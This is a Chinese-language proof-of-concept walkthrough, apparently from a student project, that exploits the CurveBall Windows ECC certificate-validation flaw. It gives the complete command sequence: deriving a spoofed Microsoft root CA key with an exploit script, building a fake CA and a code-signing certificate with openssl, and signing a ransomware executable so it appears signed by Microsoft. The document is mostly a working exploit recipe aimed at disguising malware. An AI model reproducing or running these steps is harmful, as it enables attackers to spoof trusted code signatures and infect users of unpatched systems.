该漏洞被称为 CurveBall,是由于使用 ECC 算法的证书验证无效所致。Windows 尝试从证书缓存中验证先前已验证过的证书,在此过程中,它仅检查证书的公钥是否相同,而不检查其他参数。
为了伪造证书,我们明确设置参数如下:
d' = 1
G' = Q
如果需要更多信息,可以查看 final_report_milestone_IV.pdf 文件中的数学细节部分。
在此 PoC 中,我们使用 "Microsoft ECC Product Root Certificate Authority",这是微软的受信任证书,有效期至 2043 年。
让我们从 CA 中提取公钥,并根据该漏洞对其进行修改
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
我们基于此密钥生成一个新的 x509 证书。这将成为我们自己的伪造 CA。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
查看 spoofed_ca.crt 的内容
openssl x509 -in spoofed_ca.crt -noout -text
我们生成一个新密钥。此密钥可以是您想要的任何类型。它将用于创建代码签名证书,我们将使用自己的 CA 对其进行签名。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
接下来,我们创建一个新的证书签名请求(CSR)。此请求通常会发送给受信任的 CA,但因为我们有自己的伪造 CA,所以可以自行签名。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
我们使用伪造的 CA 和 CA 密钥对新的 CSR 进行签名。此证书将于 2047 年过期,而真正受信任的微软 CA 将于 2043 年过期。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
剩下唯一要做的就是将证书、其密钥以及伪造的 CA 打包到一个 PKCS12 文件中,用于对可执行文件进行签名。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
让我们使用 PKCS12 文件签署我们的可执行文件。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
现在,我们有了一个全新的勒索软件,由微软签名 :)